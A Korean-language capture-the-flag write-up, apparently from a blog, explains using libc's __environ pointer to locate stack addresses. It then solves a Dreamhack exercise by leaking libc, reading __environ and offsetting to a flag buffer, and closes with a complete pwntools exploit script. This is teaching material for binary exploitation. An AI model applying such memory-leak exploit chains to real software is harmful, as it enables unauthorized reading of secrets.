개념정리
프로세스는 환경 변수 정보를 저장하고, 필요할 때마다 불러와서 사용한다. 환경 변수 (Environment Variable)는 매번 변할 수 있는 동적인 값들의 모임으로, 시스템의 정보를 갖고 있는 변수다. 사용자가 직접 추가 및 수정하거나 삭제할 수 있는 값으로 리눅스에서 제공하는 명령어들은 “/bin”, “/usr/bin” 등의 디렉터리에 위치한다.
명령어를 입력하면 환경 변수에 명시된 디렉터리에서 명령어를 탐색하고, 실행하기 때문에 명령어의 경로를 입력하지 않아도 된다. 환경 변수는 터미널 뿐만 아니라 프로그램에서도 참조한다.
프로그램에서도 명령어를 실행해야 하는 경우가 종종 있으며, 절대 경로를 입력하지 않아도 명령어를 실행할 수 있다. 이 또한 프로세스를 로드하면서 환경 변수를 초기화하기 때문이다.
리눅스 바이너리를 공략할 때 스택의 주소를 알아야 공격이 가능한 경우들이 존재한다.
이런 경우 사용할 수 있는 방법이 환경 변수를 이용하는 것이다. 환경 변수에 대한 정보는 스택 영역에 존재하며, 라이브러리 함수를 실행할 때에도 해당 정보를 참조하기 때문에 환경 변수를 가리키는 포인터가 별도로 선언되어있다. 따라서 해당 주소를 읽을 수 있다면, 스택 영역의 주소를 알 수 있다.
└─# objdump -M intel -d ./libc-2.27.so | grep "environ"
21a46: 48 8b 05 5b 94 3c 00 mov rax,QWORD PTR [rip+0x3c945b] # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
21c03: 48 8b 05 9e 92 3c 00 mov rax,QWORD PTR [rip+0x3c929e] # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
21c6d: 48 8b 05 34 92 3c 00 mov rax,QWORD PTR [rip+0x3c9234]
libc-2.27.so
에 저장된 environ 오프셋을 확인한 결과다.
- 0x3eaea8로 정의된 것을 확인할 수 있다.
pwndbg> x/gx &__environ
0x7fda7ee45118 <environ>: 0x00007ffc7d80c1b8
pwndbg> vmmap 0x00007ffc7d80c1b8
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x7ffc7d7ed000 0x7ffc7d80e000 rw-p 21000 0 [stack] +0x1f1b8
pwndbg> x/8gx 0x00007ffc7d80c1b8
0x7ffc7d80c1b8: 0x00007ffc7d80d8ea 0x00007ffc7d80d90a
0x7ffc7d80c1c8: 0x00007ffc7d80d918 0x00007ffc7d80d920
0x7ffc7d80c1d8: 0x00007ffc7d80d92d 0x00007ffc7d80d938
0x7ffc7d80c1e8: 0x00007ffc7d80d949 0x00007ffc7d80d958
pwndbg> x/s 0x00007ffc7d80d8ea
0x7ffc7d80d8ea: "LESSOPEN=| /usr/bin/lesspipe %s"
pwndbg> x/s 0x00007ffc7d80d918
0x7ffc7d80d918: "SHLVL=1"
pwndbg> x/s 0x00007ffc7d80d920
0x7ffc7d80d920: "OLDPWD=/root"
gdb로 __environ에 할당된 주소를 트레이스한 결과다.
- ubuntu 18.04에서 진행했다.
environ에 정의된 주소가 스택 영역의 주소임을 알 수 있고 트레이스하면 환경변수들이 정의된 것을 확인할 수 있다.
만약, environ에 저장된 주소를 알아낼 수 있다면 해당 주소와 “스택에 저장된 특정 데이터 주소”의 오프셋을 계산해서 실제 스택에 저장되는 “스택에 저장된 특정 데이터 주소”를 알아낼 수 있다.
문제풀이
[*] '/root/environ/environ_exercise'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
모든 보호기법이 적용됐다.
void read_file() {
char file_buf[4096];
int fd = open("/home/environ_exercise/flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
코드 구성은 간단하다.
stdout 주소를 제공하고 원하는 주소를 읽을 수 있는 프로그램이다. 다음으로 read_file()
함수 내부에서는 flag를 file_buf에 저장한다.
stdout 주소를 제공하므로 libc base를 얻을 수 있다. libc base를 통해 environ 오프셋과 연산하면 environ 주소를 알아낼 수 있다.
필요한 정보들을 구해보자.
- 분석은 Dockerfile에 정의된 ubuntu 18.04에서 진행했다.
elf = ELF('./libc-2.27.so')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00"))
libc base 주소를 구하고 __environ
심볼을 이용해서 environ 주소까지 구하는 코드다.
- libc 파일인
libc-2.27.so
는 Dockerfile에 정의된 ubunut 18.04 버전의 환경을 구축해서 가져와야한다.
가져온 libc 파일을 이용하면 위 코드를 통해 __environ에 저장된 주소를 구할 수 있다.
0x0000000000000a3e <+72>: mov rsi,rcx
0x0000000000000a41 <+75>: mov edi,eax
0x0000000000000a43 <+77>: call 0x810 <read@plt>
다음으로 flag가 저장된 file_buf 주소를 구한 후, environ과의 오프셋 차이를 구하자.
file_buf는 2번째 인자로 rsi에 저장되는 것을 알 수 있다.
pwndbg> b *read_file+77
Breakpoint 1 at 0xa43
pwndbg> r
...
*RSI 0x7fff9f1c3fe0 ◂— 0x0
...
pwndbg> p/x __environ
$1 = 0x7fff9f1c5518
pwndbg> p/x 0x7fff9f1c5518 - 0x7fff9f1c3fe0
$2 = 0x1538
read() 함수가 실행되는 주소에 break point를 걸고 rsi를 구했다.
__environ에 저장된 주소와 offset 차이를 구하면 0x1538이다.
file_content = stack_environ - 0x1538
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))
오프셋으로 flag가 저장된 file_buf 주소를 구하고 file_buf의 데이터인 flag를 출력하는 코드다.
이 과정을 거치면 flag를 획득할 수 있다.
from pwn import *
import warnings
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 21704)
#p = process("./environ")
elf = ELF('./libc-2.27.so')
# [1] Leak environ
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
print(hex(libc_base))
print(hex(libc_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00"))
file_content = stack_environ - 0x1538
print("stack_environ: " + hex(stack_environ))
# [2] Leak flag
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))
p.interactive()